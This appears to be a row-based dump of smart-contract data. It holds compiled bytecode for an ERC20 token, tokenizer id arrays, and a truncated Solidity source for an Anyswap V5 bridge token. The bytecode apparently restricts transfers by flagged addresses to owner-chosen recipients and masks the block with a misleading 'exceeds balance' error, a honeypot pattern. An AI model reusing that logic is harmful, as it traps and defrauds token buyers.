ffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207e78beac997e5358de9841a391fe7d24cf5a9142333add291738f3106208f9e564736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
24087,
27009,
2063,
2692,
9818,
3676,
2692,
20958,
11057,
14141,
2094,
28154,
11329,
2581,
2581,
23499,
19481,
2509,
2278,
26224,
2620,
27531,
2620,
2278,
2692,
2629,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
4037,
1024,
16770,
1024,
1013,
1013,
3899,
20307,
2290,
1012,
5446,
10474,
1006,
3531,
2066,
1998,
2128,
2102,
28394,
2102,
1996,
4888,
2695,
1007,
1024,
16770,
1024,
1013,
1013,
10474,
1012,
4012,
1013,
3899,
20307,
2290,
23921,
11834,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
3899,
20307,
11528,
2226,
2746,
2574,
1024,
1015,
1012,
1007,
4895,
2483,
4213,
2361,
1058,
2475,
10328,
1016,
1012,
1007,
9226,
3351,
19665,
10328,
1006,
5227,
7864,
1007,
1012,
1017,
1012,
1007,
9226,
20285,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,548 | 0x95555e4e4cb2c094914af53598eff14b9340881f | /**
*Submitted for verification at BscScan.com on 2021-12-01
*/
/**
*Submitted for verification at BscScan.com on 2021-06-15
*/
/**
*Submitted for verification at BscScan.com on 2021-06-11
*/
/**
*Submitted for verification at polygonscan.com on 2021-06-11
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface of the ERC2612 standard as defined in the EIP.
*
* Adds the {permit} method, which can be used to change one's
* {IERC20-allowance} without having to send a transaction, by signing a
* message. This allows users to spend tokens without having to hold Ether.
*
* See https://eips.ethereum.org/EIPS/eip-2612.
*/
interface IERC2612 {
/**
* @dev Returns the current ERC2612 nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
}
/// @dev Wrapped ERC-20 v10 (AnyswapV3ERC20) is an ERC-20 ERC-20 wrapper. You can `deposit` ERC-20 and obtain an AnyswapV3ERC20 balance which can then be operated as an ERC-20 token. You can
/// `withdraw` ERC-20 from AnyswapV3ERC20, which will then burn AnyswapV3ERC20 token in your wallet. The amount of AnyswapV3ERC20 token in any wallet is always identical to the
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ERC-20 withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV5ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
uint public pendingDelay;
uint public delayDelay;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setMinter(address _auth) external onlyVault {
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function setVault(address _vault) external onlyVault {
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = newVault;
delayVault = block.timestamp + delay;
emit LogChangeVault(vault, pendingVault, delayVault);
return true;
}
function changeMPCOwner(address newVault) public onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = newVault;
delayVault = block.timestamp + delay;
emit LogChangeMPCOwner(vault, pendingVault, delayVault);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
/// @dev Records current ERC2612 nonce for account. This value must be included whenever signature is generated for {permit}.
/// Every successful call to {permit} increases account's nonce by one. This prevents signature from being used multiple times.
mapping (address => uint256) public override nonces;
/// @dev Records number of AnyswapV3ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}.
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogChangeMPCOwner(address indexed oldOwner, address indexed newOwner, uint indexed effectiveHeight);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
event LogAddAuth(address indexed auth, uint timestamp);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(
